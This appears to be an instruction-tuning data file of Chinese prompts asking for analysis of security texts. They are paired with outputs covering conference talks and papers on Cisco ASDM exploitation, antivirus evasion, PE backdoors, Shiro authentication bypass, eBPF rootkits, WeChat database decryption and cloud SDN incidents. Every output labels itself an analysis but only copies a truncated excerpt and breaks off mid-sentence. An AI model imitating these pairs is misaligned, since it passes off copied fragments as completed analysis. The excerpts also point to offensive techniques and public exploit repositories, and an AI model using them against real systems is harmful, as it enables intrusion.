Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Outsmarting the Smart City
DISCOVERING AND ATTACKING THE TECHNOLOGY THAT RUNS
MODERN CITIES
&
2
Page
Researcher Bios
• Daniel Crowley
• Research Baron at IBM X-Force Red
• Pen tester since 2004
• Locksport enthusiast and past competition winner
• Actually holds the title of Baron (in Sealand)
3
Page
Researcher Bios
• Jennifer Savage
• Security Researcher at Threatcare
• Black Hat review board member
• Experience includes:
̶
development
̶
vulnerability assessment
̶
vulnerability management
̶
penetration testing
̶
security research
4
Page
Researcher Bios
• Mauro Paredes
• Managing Consultant at IBM X-Force Red
• Passion for security flaws and their corrections
• Formerly developer, net/server admin, security architect
• Pen tester for many years
• 20+ years infosec experience in multiple industries
5
Page
What kind of tech makes a city “smart”?
• Industrial Internet of Things
• Urban Automation
• Public Safety / Emergency Management
• Intelligent Transportation Systems
• Metropolitan Area Networks
6
Page
Limited citizen privacy and risk management options
• You don’t have to buy an Alexa
• You can buy a non-smart TV
• You can buy a feature phone (or forego a cell phone)
• You can buy an ancient car
• Can you move to a city that isn’t “smart”?
7
Page
V2I, V2V, OBD-III and DSRC
Connected vehicles communicate with each other, and with city infrastructure, as travel occurs.
While DSRC allows unique identification, the proposed OBD-III standard is much more powerful.
8
Page
Hangzhou “City Brain”
“In China, people have less concern with privacy, which allows us to move faster”
- Xian-Sheng Hua, manager of AI at Alibaba at World Summit AI in 2017
9
Page
Smart streetlights with cameras
GE’s Bill Ruh says it’s up to each city to set policies around the data
collected by the sensors and how it can be used.
10
Page
Facial recognition
In 2017 the former head of Singapore’s civil service Peter Ong said Singapore
wants to deploy facial recognition technology to all 110,000 la...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Do Not Trust the ASA, Trojans!
Jacob Baines
Lead Security Researcher, Rapid7
August 11, 2022
2
Introduction
Adaptive Security Appliance (ASA)
Original ASA
ASA-X
ASA-X with FirePOWER Services
3
ASAv Product Landing Page
Introduction
ASA Virtual Appliance (ASAv)
4
Firepower 9300 Series
Firepower 1000 Series
Firepower 2100 Series
Firepower 4100 Series
Secure Firewall 3100 Series
Secure Firewall ISA3000
ASA Service Module
ASA Software Landing Page
Introduction
Sort of ASA
5
Introduction
Adaptive Security Appliance (ASA)
6
Introduction
Do Not Trust the ASA
7
ASDM Product Landing Page
Introduction
Adaptive Security Device Manager (ASDM)
8
Request pdm.sgz
pdm.sgz
Admin session
Load and
execute SGZ
contents
Understanding ASDM
Starting ASDM Client Overview
9
Exploiting ASDM
ASDM Client Does Not Verify the Server Cert
10
Exploiting ASDM
ASDM/ASA Man in the Middle
11
Exploiting ASDM
Man in the Middle with mitmproxy
12
Contents of 7.18.1 SGZ
-
13472 class ﬁles
-
6 jars
-
1 prop ﬁle
-
4 properties ﬁles
-
3 txt ﬁles
-
1 SIGNATURE ﬁles
github.com/jbaines-r7/getchoo
Exploiting ASDM
What’s in the SGZ?
13
Cisco ASDM RCE Vulnerability (CVE-2021-1585)
Exploiting ASDM
SGZ Client Logic Isn’t Veriﬁed (CVE-2021-1585)
14
1. Administrator connects to
attacker using the ASDM client
2. The attacker responds with a
malicious SGZ ﬁle.
3. A reverse shell is established from
the Administrator to the attacker
Exploiting ASDM
CVE-2021-1585 Exploited via Evil Endpoint
15
Exploitation
-
Missing SSL veriﬁcation (No CVE) plus
SGZ code not veriﬁed (CVE-2021-1585)
-
Evil endpoint or Man in the Middle
CVE-2021-1585
-
Disclosed in July 2021 with no patch
-
Failed patch in June 2022
-
Remains unpatched as of July 2022
Public Exploits
-
staystaystay
-
Metasploit module
github.com/jbaines-r7/cisco_asa_research/
tree/main/modules/cve_2021_1585
github.com/jbaines-r7/staystaystay
Exploiting ASDM
CVE-2021-1585 Exploits
16
Crafting a Malicious ASDM Package
Hacker Cat Can’t Get Inside Corpnet
17
Crafting a Ma...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

windows特权滥用攻击
本文主要介绍利用windows特权滥用进行本地权限提升攻击。
特权滥用的bug
以高权限运行的进程(一般指system权限)会像其他进程一样对文件进行各类操作(如增删改查)，当高权限
进程在没有进行任何防御措施的情况下访问用户文件或者是目录时则有可能造成安全问题。我们一般所
熟知的此类问题有DLL planting或者是利用可写服务操作等，但除此之外还有其他的文件系统的攻击方
法可以被我们利用，且由于此类攻击属于逻辑漏洞，不涉及内存操作所以不会像内核提权那样有太多的
版本限制以及可能造成的bsod等风险。
漏洞位置
用户可写项
一般用户(普通用户)可以写入的位置如下：
用户自己的目录、文件，包括其appdata和temp文件夹，一般高权限进程不会访问此类文件，AV
除外。
public的文件、目录
C:\ProgramData及其子目录
C:\Windows\Temp及其子目录
至于一个文件目录的权限查看方式则有很多 AccessChk, icacls ,Get-Acl等，最简单的就是直接用GUI的
文件夹查看器：
特权文件操作
这个简单的方法就是procmon来看了，直接过滤指定事件即可。
但这些仅为进程自己执行的操作，如果你想深入挖掘更多的信息如ALPC、COM等等的话，则需要自己
逆向相关程序。
漏洞利用
这个已经有了N多的利用文章了，根据情况来使用即可：
https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html
https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html
https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html
https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html
并且开源了利用工具：https://github.com/googleprojectzero/symboliclink-testing-tools 及.net库：h
ttps://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtApiDot
Net
NTFS junctions
NTFS链接，有点类似于linux下面的mount功能，即允许将文件设置为文件系统的挂载点。
如图所示，在打开C:\Dir\file.txt 时将打开C:\Other\file.txt，也可以进行跨卷操作，比如将C:\Dir\重定向
到D:\Dir\，一般可以利用symboliclink-testing-tools中的CreateMountPoint 工具来实现这一点，如果
只是单纯的想要创建链接的话，可以使用mklink或者powershell中的New-Item的-Type Junction 参
数。
Hard links
硬链接，含义与linux中的含义相同，不支持目录和跨卷操作(无意义)
symboliclink-testing-tools中的CreateHardLink可以进行此类操作，此类攻击在win10中得到缓解，其
缓解如下：
所以在新版本的windows中，如果使用NtApiDotNet库来进行创建硬链接的话，会显示以下情况：
Object Manager symbolic links
虽然 NTFS 确实提供文件系统符号链接，但在 Windows 上，非特权用户无法在文件系统上创建符号链
接：它需要SeCreateSymbolicLinkPrivilege，默认情况下仅授予管理员。然而，非特权用户可以在
Windows 的对象管理器中创建符号链接，顾名思义，它管理诸如进程和文件之类的对象。用户可以在可
写对象目录中创建对象符号链接，例如\RPC CONTROL\，这些符号链接可以指向任意路径——包...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Screw Being A Pentester -
When I Grow Up I Want To Be A
Bug Bounty Hunter
Jake Kouns
@jkouns
Chief Information Security Officer (CISO)
Risk Based Security
Carsten Eiram
@CarstenEiram
Chief Research Officer (CRO)
Risk Based Security
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Risk Based Security
Community offerings:
Commercial offerings:
Information Security:
Career Decisions
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
IT Security Career Choices!
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
IT Security Career Choices – Blue vs. Red!
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
IT Security Career Choices – Red Team!
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Pentester – Good Things About Red Teams
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Red Teams = Pentester
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Pentester - Painful At Times?
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Pentester - Painful At Times?
Also the option of becoming an
independent pentester!
Don’t have to work for ”the man”, but
work time breakdown is roughly:
– 1/3 actual pentesting (fun)
– 1/3 administrative tasks and documentatio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
Bypass Antivirus Dynamic Analysis
Limitations of the AV model and how to exploit them
Date of writing: 08/2014
Author: Emeric Nasi – emeric.nasi[at]sevagas.com
Website: http://www.sevagas.com/
License: This work is licensed under a Creative Commons Attribution 4.0 International License
Note: This paper requires some knowledge C and Windows system programming
2
1. Introduction
« Antivirus are easy to bypass », « Antivirus are mandatory in defense in depth », «This Cryptor is FUD»
are some of the sentence you hear when doing some researches on antivirus security. I asked myself,
hey is it really that simple to bypass AV? After some research I came (like others) to the conclusion that
bypassing Antivirus consists in two big steps:

Hide the code which may be recognized as malicious. This is generally done using encryption.

Code the decryption stub in such a way it is not detected as a virus nor bypassed by
emulation/sandboxing.
In this paper I will mainly focus on the last one, how to fool antivirus emulation/sandboxing systems.
I’ve set myself a challenge to find half a dozen of ways to make a fully undetectable decryption stub (in
fact I found way more than that). Here is a collection of methods. Some of those are very complex (and
most “FUD cryptor” sellers use one of these). Others are so simple I don’t understand why I’ve never
seen these before. I am pretty sure underground and official virus writers are fully aware about these
methods so I wanted to share these with the public.
2. Table of Contents
1.Introduction ......................................................................................................................................... 2
2.Table of Contents ................................................................................................................................. 2
3.Bypassing Antivirus theory ......................................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SECURITY PAPER
Preparation Date: 11 Dec 2016
Art of Anti Detection – 2
PE Backdoor Manufacturing
Prepared by:
Ege BALCI
Penetration Tester
ege.balci<at>invictuseurope.com
INVICTUS
2
Security Paper
TABLE OF CONTENT
1. Abstract:.....................................................................................................................................................3
2. Introduction.............................................................................................................................................. 3
3. Terminology..............................................................................................................................................3
4. Main Methods...........................................................................................................................................4
5. Available Space Problem.......................................................................................................................5
6. Hijacking Execution Flow....................................................................................................................10
7. Injecting Backdoor Code.....................................................................................................................14
8. Restoring Execution Flow.................................................................................................................. 17
9. Conclusion...............................................................................................................................................18
10. References:...........................................................................................................................................20
INVICTUS
3
Security Paper
1. Abstract:
This paper will explain several methods used for placing backdoors in PE(Portable
Executable) files for red team purposes, in order to fully grasp the content of this paper,
readers needs to have at least inter...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Behind the Scenes of the
Badge
by Joe Grand
aka Kingpin
Me.
electrical engineer.
hardware hacker.
product designer.
Retrospective: DEFCON 14
Retrospective: DEFCON 15
Retrospective: DEFCON 15
Retrospective: DEFCON 16
Retrospective: DEFCON 16
Retrospective: DEFCON 17
Retrospective: DEFCON 17
Badges by Christmas?
★ Fall 2009: Initial brainstorming (DT, Black Beetle, Neil)
★ January 2010: Preliminary design & parts selection
★ January: Prototype hardware design
★ February: Low-level ﬁrmware completed
★ February: Production design ﬁnalized
★ March: Production component orders
★ April-May: Finish ﬁrmware
★ June: Program microcontrollers (Avnet)
★ June-July: Badge fabrication, assembly & test (e-Teknet)
★ July: Badges shipped to DEFCON (on time!)
Timeline
Yeah right!
The Development Process
Picture Show
Original sketch
The Development Process
Picture Show 2
Paper mock-up
The Development Process
Picture Show 3
Prototype hardware
The Development Process
Picture Show 4
Testing hardware
The Development Process
Picture Show 5
Writing low-level drivers
The Development Process
Picture Show 6
It works!
The Development Process
Picture Show 7
Final ﬁrmware development
★ 0.040" single-sided aluminum substrate PCB
★ Killer graphics by Neil, the DEFCON resident artist
★ Difﬁcult to ﬁnd a vendor that would take on this work
★ ...and do it for an affordable price
★ On aluminum? Yes. On circuit Board? No.
Laser Engraving!
Laser Engraving! 2
Laser Engraving! 3
Laser Engraving! 4
Early Block Diagram
★ Digital Signal Controller
๏ Part of the 56800/E family
๏ Main product page: http://tinyurl.
com/mc56f8006-info/
๏ Direct link to data sheet: www.freescale.com/
files/dsp/doc/data_sheet/MC56F8006.pdf
Freescale MC56F8006
•
16KB of Flash
•
2KB of RAM
•
6-channel PWM
•
18-channel, 12-bit A/D
•
Timer/RTC
•
2 PGA, 3 analog comparators
•
Serial communication/UART/
I2C/SPI
•
Up to 22 GPIO
•
32-pin LQFP, 7mm x 7mm
•
1.8V-3.6V operation
Freescale MC56F8006
๏ 128 x 32 pixels, 118...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

March 23 2004
Coming of Age
The number isn’t important, friends have been saying when
I talk about turning sixty. Some say, age is only a state of
mind. Some say, you’re as young as you feel. Some say,
age doesn’t matter.
And some say, why, you look great! which unfortunately
confirms that there really are three stages of life: youth,
middle-age, and you look great!
Well, my well-intended friends, I am here to tell you that
age does matter. In some ways, it matters a LOT.
When older people and younger people talk, they look at
each other differently.  Younger people have a shorter gaze.
I was taught the meaning of a long gaze by a high school
teacher, Miss McCutcheon, who gave me her long teacher’s
gaze during an English class. I felt like a butterfly, pinned
and wriggling. When another student asked what she was
seeing, she said simply, “Some day someone is really going
to love that boy.”
I couldn’t handle that. I was fifteen, fat and self-conscious
and confused, and I squirmed, turned red and snapped
something back ... but have never forgotten what she said.
At a time when love seemed beyond my reach, her insight
was deeper than mine, living as I did half-blind and half-
crazy in an adolescent storm of rain hail and thunder.
Coming up to sixty, we see other people, especially
younger ones, more often with that long look. We see who
they are and who they can become if they only attend to the
better angels of their natures.
Sometimes there are moments during such conversations
when it feels as if the years fall away and transparencies of
other conversations, ones that happened years ago, meld
with the one I am having now. Memories control the
present moment, capturing it with a force field of longing
and grief before the experience becomes transparent to its
underlying dynamics, the irrevocability of my own past
juxtaposed with seemingly innumerable futures for the one
to whom I am speaking, branching like blossoms of
forbidden opportunity.
Then the regret fades, r...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BSD Security
Fundamentals
Sean Lewis
sml@subterrain.net
http://www.subterrain.net
Scope and Scale
• Focus: FreeBSD - enterprise hardware
support and most 'mainstream' of the open
source BSD trees.
• Security refresher and some new and
interesting BSD security information.
• Emphasis on host-based security, one of the
first layers of the security 'onion'
complimented with network-level security
[defense in-depth].
BSD – making inroads in the
Enterprise market
• BSD and systems w/ BSD frameworks being
deployed in the enterprise and with the end
user.
• Nokia firewalls - run FireWall-1 on IPSO
[based on FreeBSD 3.2]
• Juniper's Internet backbone router products,
designed for high-growth, high-capacity
networks, use code from FreeBSD.
• Other commercial BSD implementors include
Yahoo! and LinkExchange
The Basics
• If modifying an existing system, especially in
a production environment, make backups!
• Unnecessary services - go through
/etc/inetd.conf and rc.conf; disable what you
don't need [inetd.conf now shipped with
everything off by default] [rc.conf - disable
sendmail, SMTP and submission ports
25/587]
• Work with the latest version of the OS -
tracking STABLE is the best idea
Encrypted Communications
• Disable telnet (default in recent FreeBSD
releases) and enable SSH. OpenSSH is
included in the FreeBSD base system.
• Upgrade all your systems to OpenSSH 3.4p1
and use SSH version 2 with privilege
separation.
• Enable the sftp subsystem built into the
SSHv2 protocol rather than a standard ftpd
implementation if possible.
• Set up public key authentication with SSH
[DSA keys!] to prevent password
transmission, encrypted or otherwise!
File System Lockdown
• Partition out as much as possible; /, /usr, /var,
/tmp at a minimum. /home and /usr/local
should be considered as well.
• Mount non /usr or / [for /sbin] filesystems with
the 'nosuid' argument, especially /tmp.
• Search for and remove suid bits off of non-
used binaries [especiall...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-shiro权限绕过
环境搭建
源码地址
使用github下载器即可下载
CVE-2020-1957
代码配置
认证设置
package org.javaboy.shirobasic;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.LinkedHashMap;
import java.util.Map;
/**
 * @Author 江南一点雨
 * @Site www.javaboy.org 2019-06-05 11:16
 *
 * 在这里进行 Shiro 的配置
 *  Shiro 的配置主要配置 3 个 Bean 。
 *
 *  1. 首先需要提供一个 Realm 的实例
 *  2. 需要配置一个 SecurityManager，在 SecurityManager 中配置 Realm
 *  3. 配置一个 ShiroFilterFactoryBean ，在 ShiroFilterFactoryBean 中指定路径拦截规则
等
 */
@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }
    @Bean
    SecurityManager securityManager() {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm(myRealm());
        return manager;
    }
    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        //指定 SecurityManager
controller代码
        bean.setSecurityManager(securityManager());
        //登录页面
        bean.setLoginUrl("/login");
        //登录成功页面
        bean.setSuccessUrl("/index");
        //访问未获授权路径时跳转的页面
        bean.setUnauthorizedUrl("/unauthorizedurl");
        //配置路径拦截规则，注意，要有序
        Map<String, String> map = new LinkedHashMap<>();
        map.put("/doLogin", "anon");
        map.put("/hello/*","authc");
        //map.put("/**", "authc");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }
}
package org.javaboy.shirobasic;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Warping Reality
Creating and countering
the next generation of
Linux rootkits using eBPF
Pat Hogan
@PathToFile
Overview
●
What are Linux kernel rootkits
●
Why writing and using rootkits is hard
●
How eBPF solves these problems and more
●
How to detect and prevent malicious eBPF usage
@pathtoﬁle
What are kernel rootkits?
Kernel Rootkits - Advantages
●
Attackers want to maintain access to
compromised machines
○
Credentials change, vulnerabilities get
patched, etc.
●
Hooking syscall table = visibility and control
○
See all network traﬃc
○
Hide ﬁles and processes
○
Create root processes
@pathtoﬁle
Kernel Rootkits - Risks
●
Small bugs can cause major problems
○
Crashing the kernel means crashing the
system
●
Any update to the kernel risks disaster
●
Some environments block arbitrary kernel
modules (e.g. Amazon EKS)
@pathtoﬁle
“How about we add
JavaScript-like capabilities to the
Linux Kernel?”
- Thomas Graf, Isovalent, 2020
What is eBPF?
eBPF
●
eBPF (extended Berkeley Packet Filtering)
●
Experienced rapid growth in last ~2 years
●
eBPF allows you to create programmable trace
points in the kernel
●
Programs can be attached to:
○
Network Interfaces
○
Kernel functions
○
User mode functions
●
eBPF programs are guaranteed to be:
○
Safe
○
Eﬃcient
○
Portable
@pathtoﬁle
eBPF - Safe and Eﬃcient
●
Programs typically written in C or Rust
●
Has variables, loops, conditionals
●
Can call a small number of helper functions
●
Compiled by LLVM or GCC into bpf bytecode
●
Architecture agnostic
●
Kernel version agnostic
@pathtoﬁle
SEC("tp/syscalls/sys_enter_execve")
int handle_execve_enter(struct trace_event_raw_sys_enter *ctx)
{
    char prog[TASK_COMM_LEN];
    bpf_probe_read_user(&prog, sizeof(prog), ctx->args[0]);
    bpf_printk("Execve: %s", prog);
    return 0;
}
int handle_execve_enter(struct
trace_event_raw_sys_enter * ctx):
; bpf_probe_read_user(&c, sizeof(c), ctx->args[0]);
   0: (79) r3 = *(u64 *)(r1 +16)
   1: (bf) r6 = r10
   2: (07) r6 += -16
; bpf_probe_read_user(&c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Church of WiFi
Wireless
Extravaganza
Today’s Brethren:
Thorn
theprez98
Renderman
Who Are The CoWF?
Q: Pirates? Ninjas? Pirates
with stealthy Ninja skills?
Ninjas who say "Arrgh"?
A #1: A “Church” where they
do “WiFi Voodoo”
Who Are The CoWF?
A #2: A bunch of Monkeys
who wear Pope hats
The Problem…
The Problem…
• No skillz!
• “You know, like
nunchuck skills,
bowhunting skills,
computer hacking
skills... Girls only
want boyfriends who
have great skills.”
The Idea…
Learn + Touch =
DO!
“I care about
demonstrating and
inciting 'hacker
attitude' toward my
fellow attendees...”
-c0nverge
The Concept…
• Things we liked: Hands-on at Lockpick
Village & LosT’s informal breakout
• Provide an area for wireless tutorials, mini-
presentations and breakout sessions
• Act as an introduction to the various
wireless contests
Learn + Touch = DO!
The Solution:
Skybox 209
Wireless Village: Breakouts
• Breakout sessions are for any RF/Network
subject
– PSP Wireless Hacking (Squidly1)
– RF Direction Finding (Renderman)
– RFID (Thorn)
– Even more! (WEP Cracking, WPA Cracking…)
Learn + Touch = DO!
Learn + Touch = DO!
Provide an open environment for learning of
wireless network technologies
– Contests and tutorials: all skill levels from
beginner to expert
– Breakout sessions: to introduce people to the
wireless contests
– Mini-presentations and demonstrations: provide
an venue for wireless speakers to follow-up their
presentations with hands-on demos, classes, etc.
Skybox 209
DC Wireless Contests
• Integrated to the Village
• Allows people to learn a skill at the Village
and then compete.
Learn + Touch = DO!
WPA-PSK ”Rainbow Tables”
• Same idea as LM or other “Rainbow”
tables: Time vs. Computing power tradeoff
• 2006: 172,000 word dictionary x 1,000 most
common SSIDs = 7 gig tables
WPA-PSK ”Rainbow Tables”
This year: 1,000,000 password dictionary x
1,000 most common SSIDs =
35GB
YIKES!
CoWF “Distro”
• USB-bootable full-Linux distro on a
100GB+ 3.5” HD (BackTrack 2 based)
• Boot off any laptop...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

在v2ex看到一个项目《给女朋友生成一个聊天年度报告》 https://github.com/myth984/wechat-report
，尝试做了一个后觉得挺好玩，想到之前做的小8机器人加了很多安全群，能否给这些群统计一下做个报
告呢？
数据提取
说干就干，原项目使用ios导出数据的功能获取数据，感觉有点麻烦，小8机器人运行在windows的Pc微
信上，直接从Pc微信把数据脱出来就行了。
PC微信的数据库是sqlite，但是加密了，参考 https://bbs.pediy.com/thread-251303.htm 从内存中提
取 key 进行解密，就能得到数据库了。
微信群摸鱼报告
把开源项目的前端简单修改了一下，为小8加的所有群都生成了一次 微信群聊年度报告 。
例: hacking8安全信息流交流群的报告 https://i.hacking8.com/wechat-report/17715724893@chatroo
m
获取报告
如果群内加了小8机器人，可以在群内输入 @A' 小8 报告  ，即可获得一份群内专属报告链接。
安全圈微信群摸鱼报告
既然小8加的都是些安全群，是否能根据群消息分析安全圈微信群的摸鱼报告呢。
大数据分析安全圈已经有很多珠玉在前的报告，例如 404notfound 师傅的以博客数据的分析《我分析
了2018-2020年青年安全圈450个活跃技术博客和博主》， gainover 师傅的以微博数据为主的分析《安
全圈有多大？也许就这么大！》，这次尝试用微信数据进行分析，看看安全圈微信群的摸鱼现状~
注： 下面分析采用的数据是小8机器人加的群，总计有81个，不能反映真实情况，不要当真！
哪一天说话最多？
小8推出并加群的时候才11月份，所以统计的也就是这两个月的。最小值 161 ,最大值 6972 ，平均值在
2139 。看到12月10日最多，超出第二名几乎一倍，这一天发生了什么？
往回看聊天记录，才知道12月9日晚上，log4j2的漏洞预警发布，到了12月10日，exp已经流传开了，各
种复现成功的图片和payload 爆发流传，所以12月10日应该可以看作是log4j2漏洞爆发的第一天。
大家一般都在哪个时间段说话？
可以看到两个高峰，一个是11点，一个是16点，说话比较多，这个时间正是人一天中精力最旺盛的时
候。从21点到0点的时候，也有一个上升的坡度，且发言数都大于平均值，说明在安全人员在晚上也会
进行一些活动。
安全人员喜欢哪个语言？
php 还是不是安全人员最喜欢的语言？怀着这样的疑问进行了统计。先对发言的内容进行分词
（jieba），再和下面的数据取交集。
结果如下
programs = ["asp", "php", "java", "python", "go", "golang", "node",
"javascript", "js", "rust", ".net", "c#",
            "csharp", "c", "ruby","nim"]
java和go的讨论最多，php在第三位。
哪个安全研究人员id被最多讨论？
通过以下字典可以汇总安全研究人员的id
去除了一些字典杂质后提及次数大于5统计如下,当然这个数据不能说明什么，仅供参考。
https://github.com/404notf0und/Security-Data-Analysis-and-Visualization
https://raw.githubusercontent.com/jiesson/MyPYP/be9496150c1f23aaf294ca2bdbbfcb90
0ad6731a/CTF/%E5%AD%97%E5%85%B8/fuzzDicts-master/userNameDict/sec_id.txt
安全id
提及次数
chybeta
99
l1nk3r
49
aliyun
33
anquanke
27
hacking8
19
orange
15
seebug
14
mars
14
Zedd
12
gh0st
10
hone
10
gh0stkey
9
neargle
9
love
9
Wing
8
payloads
8
z3r0yu
8
boy-hack
8
white
7
space
7
phith0n
6
LoRexxar
6
online
6
hexo
5
leavesongs
5
Cytosine
5
anyu
5
标签云图
大家更喜欢讨论哪家安全公司？
因为没有公开的数据统计安全公司做词库，所以就百度了一下网络安全的公司，选了几个，不是很全。
统计次数高的top10如下:
companies = ["360", "启明星辰", "华为", "深信服", "绿盟", ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Forensic Data Recovery – MyHardDriveDied.com © 2009
1
RAID by Sight and Sound
By Scott A. Moulton
Of
My Hard Drive Died &
Forensic Strategy Services LLC
Forensic Data Recovery – MyHardDriveDied.com © 2009
2
Topics for Talk
•  Brief Coverage of NOT RAID
•  Brief Intro to RAID
•  RAID 0
•  RAID 5
•  Demo of Rebuild
Forensic Data Recovery – MyHardDriveDied.com © 2009
3
Assumptions
•  We are assuming you have already
done what I previously described in
previous videos and classes to
repair the damaged drive.
•  You now have a running drive and
have imaged it in some fashion and
will use that for reassembly.
Forensic Data Recovery – MyHardDriveDied.com © 2009
4
RAID Array’s
•  Redundant  Array of (Inexpensive
or Independent) Disks.
•  Some arrays are not “Redundant”
•  Different types of arrays may need
different numbers of drives in the
array and may give you different
results in free space available by
how they are setup.
Forensic Data Recovery – MyHardDriveDied.com © 2009
5
JBOD Drives
•  Means “Just a Bunch of Disks” and they are just
linked logically together end to end.
•  These drives usually have no fan, get very hot and
contain several drives. Sometimes the cables are
melted together.
•  I have found that some recoveries that are using
these JBOD will work once repaired, even if the
Lacie board is burnt out, just by placing them in a
G5 and connecting them and booting on a Mac
external disk. This is great for when you cannot
repair the Lacie board or power supply.
Forensic Data Recovery – MyHardDriveDied.com © 2009
6
LaCie and other JBOD Drives
Forensic Data Recovery – MyHardDriveDied.com © 2009
7
LaCie and other JBOD Drives
Forensic Data Recovery – MyHardDriveDied.com © 2009
8
LaCie NAS Boxes
Forensic Data Recovery – MyHardDriveDied.com © 2009
9
Dynamic Disks
•  Dynamic disks do not use partition tables,
they use LDM which is at the end of the disk
and needs to be done backwards. It uses
one sing...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Tencent Blade Team
公有云SDN的安全风险与加固
演讲人：杨韬
2019
About Me
•
安全平台部高级工程师
•
Tencent Blade Team
•
安全预研，SDN、BIOS、TEE
About Tencent Blade Team
受邀参加Blackhat USA、DEFCON、HITB、
CanSecWest、CSS、KCon、XCon等多个海内外
顶级安全会议
多次受邀参加
海内外顶级安全会议
Amazon、小米、华为等多个品牌官方认可，
获小米安全年度最佳守护者，荣获华为漏洞
奖励计划官方认可
获Amazon、小米、华
为等多个品牌官方认可
为腾讯Tday、腾讯首届技术文化周等活
动输出泛安全影响力
输出全行业
泛安全影响力
成功发现首个TensorFlow框架自身安
全漏洞，并包揽TF已知前七个漏洞
谷歌TensorFlow
成功发现SQLite存在严重漏洞，影响
Chromium浏览器和大量Android、iOS应用
发现SQLite严重漏洞
成功破解Amazon Echo、Google
Home、小米智能音箱等IoT设备
深耕IoT领域
目录
CONTENTS
PART 01
SDN
01
PART 02
Beyond VM
02
PART 03
Devops without Sec
03
PART 04
Naughty Docker
04
PART 05
GreatWall
05
PART 06
Conclusion
06
PART
01
SDN
技术背景
租户隔离
SDN技术背景
SDN技术背景
SDN的优势
•
物理拓扑与逻辑拓扑不再绑定
•
按需实时变更逻辑拓扑
•
按需实时生成网络功能
SDN租户隔离
公有云SDN的核心特性
•
云上几乎所有业务的共需
•
具备多种实现方式
•
守护云安全的绝境长城
IAAS
K8S
裸金属
PART
02
Beyond VM
从VM被入侵说起
Beyond VM
问：某用户购买的VM被入侵，
应如何处理？
Beyond VM
问：某用户购买的VM被入侵，
应如何处理？
答：好像可以卖一套安全产品，
说不定再加一套安全服务哦~
Beyond VM
追问：是用户买的VPN被黑了，
咋办？
Beyond VM
追问：是用户买的VPN被黑了，
咋办？
哦豁……
NETCONF对外开放弱密码……
Beyond VM
1.
VPN也是一台VM
2.
VPN和用户其他VM在同一虚拟网络
但是
VPN VM受SDN控制器管理配置
VPN VM可逃离租户隔离限制！！！
业务系统
OSS
控制器集群
IDC
IDC
跳板机
Restful
Restful
syslog
Netconf
Ssh
管理界面
租户界面IPsecVPN
管理界面
租户界面SSLVPN
访问
控制
PART
03
Devops without Sec
愿安全与你同在
Devops without Sec
经验教训
•
SDN安全配置在产品迭代中可能丢失
•
SDN网络隔离必须结合加密通信、ACL控制形成纵深
•
SDN跨越隔离边界的实体必须监控网络通信
PART
04
Naughty Docker
非典型容器逃逸
Naughty Docker
舞台：Serverless
主角：Docker
演出时长：300s
剧本：whatever
Naughty Docker
天气风和日丽，发现了有趣的事~
•
0秒，X母机Y1容器，bash –i反弹Shell
•
306秒，X母机Y2容器，下载扫描工具
•
630秒，X母机Y3容器，下载扫描工具
•
800秒，X母机Y3容器，下载某POC工具α
